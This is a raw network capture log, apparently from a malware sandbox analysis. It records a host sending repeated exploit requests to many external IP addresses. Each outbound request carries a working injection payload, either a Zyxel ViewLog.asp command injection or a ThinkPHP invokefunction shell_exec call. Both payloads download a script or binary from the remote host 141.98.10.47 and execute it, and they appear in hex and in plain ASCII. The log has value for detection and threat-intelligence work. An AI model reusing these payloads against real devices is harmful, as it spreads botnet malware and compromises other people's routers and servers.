Dec 26, 2023 21:24:05.847910881 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
263	192.168.2.23	59988	112.133.128.205	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:05.896797895 CET	236	IN	HTTP/1.0 400 Bad Request Content-type: text/html Date: Tue, 26 Dec 2023 20:24:06 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 55 6e 73 75 70 70 6f 72 74 65 64 20 6d 65 74 68 6f 64 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>400 Bad Request</H1>Unsupported method</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
264	192.168.2.23	59010	94.122.217.35	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:06.414994955 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
265	192.168.2.23	43422	85.207.218.152	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:07.347345114 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:07.610466957 CET	322	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Dec 2023 20:59:41 GMT Accept-Ranges: bytes Connection: close Content-Type: text/html; charset=ISO-8859-1 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><H1>404 Not Found</H1>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
266	192.168.2.23	37808	94.122.29.251	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:07.367201090 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
267	192.168.2.23	53558	95.101.162.69	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:07.874387980 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:08.080044985 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Tue, 26 Dec 2023 20:24:07 GMT Date: Tue, 26 Dec 2023 20:24:07 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 39 33 34 64 64 62 31 37 26 23 34 36 3b 31 37 30 33 36 32 32 32 34 37 26 23 34 36 3b 66 64 65 34 63 65 61 33 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.934ddb17.1703622247.fde4cea3</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
268	192.168.2.23	58264	88.198.83.141	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:07.927623987 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:08.177066088 CET	490	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Tue, 26 Dec 2023 20:21:37 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
269	192.168.2.23	45746	112.217.171.178	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:08.504703045 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:08.839090109 CET	1005	IN	HTTP/1.0 404 Not Found Server: SonicWALL Expires: -1 Cache-Control: no-cache Content-type: text/html;charset=UTF-8 X-Content-Type-Options: nosniff Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 62 6f 64 79 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 73 70 61 6e 2e 75 72 6c 20 7b 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 75 6e 64 65 72 6c 69 6e 65 3b 20 7d 70 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 65 6d 3b 7d 73 70 61 6e 2e 73 65 72 76 65 72 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 75 72 6c 22 3e 26 23 78 32 46 3b 69 6e 64 65 78 2e 70 68 70 3f 73 3d 26 23 78 32 46 3b 69 6e 64 65 78 26 23 78 32 46 3b 09 68 69 6e 6b 07 70 70 26 23 78 32 46 3b 69 6e 76 6f 6b 65 66 75 6e 63 74 69 6f 6e 26 61 6d 70 3b 66 75 6e 63 74 69 6f 6e 3d 63 61 6c 6c 5f 75 73 65 72 5f 66 75 6e 63 5f 61 72 72 61 79 26 61 6d 70 3b 76 61 72 73 5b 30 5d 3d 73 68 65 6c 6c 5f 65 78 65 63 26 61 6d 70 3b 76 61 72 73 5b 31 5d 5b 5d 3d 26 23 78 32 37 3b 77 67 65 74 3c 2f 73 70 61 6e 3e 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 3c 70 3e 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 3c 2f 70 3e 3c 68 32 3e 45 72 72 6f 72 20 34 30 34 3c 2f 68 32 3e 3c 70 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 65 72 76 65 72 22 3e 53 6f 6e 69 63 57 61 6c 6c 20 53 65 72 76 65 72 3c 2f 73 70 61 6e 3e 3c 2f 70 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"><head><title>File not found!</title><style type="text/css">.../--><![CDATA[/>.../ body { color: #000000; background-color: #FFFFFF; }span.url { text-decoration: underline; }p {margin-left: 3em;}span.server {font-size: smaller;}/...*/--></style></head><body><h1>File not found!</h1><p>The requested URL <span class="url">/index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget</span> was not found on this server.</p><p>If you entered the URL manually please check your spelling and try again.</p><h2>Error 404</h2><p><span class="server">SonicWall Server</span></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
270	192.168.2.23	33820	112.119.129.220	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:08.526405096 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:08.876174927 CET	323	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 26 Dec 2023 20:24:06 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
271	192.168.2.23	49200	88.99.174.62	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:09.081485987 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:09.330902100 CET	339	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Tue, 26 Dec 2023 20:24:09 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
272	192.168.2.23	49292	88.255.42.118	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:09.102381945 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:17.404113054 CET	51	IN	HTTP/1.1 504 Gateway Timeout Connection: close
Dec 26, 2023 21:24:17.608064890 CET	51	IN	HTTP/1.1 504 Gateway Timeout Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
273	192.168.2.23	37724	31.136.117.98	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:10.925908089 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:14.101840019 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:20.244986057 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:32.275244951 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:58.127634048 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:47.276699066 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
274	192.168.2.23	54196	31.3.82.232	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:10.953227997 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:11.229235888 CET	79	IN	HTTP/1.1 301 Moved Permanently Location: /cgi-bin/ViewLog.asp/

Session ID	Source IP	Source Port	Destination IP	Destination Port
275	192.168.2.23	52836	62.29.127.101	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:10.957190990 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
276	192.168.2.23	44260	94.123.59.239	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:11.241630077 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:12.726093054 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:14.485810041 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
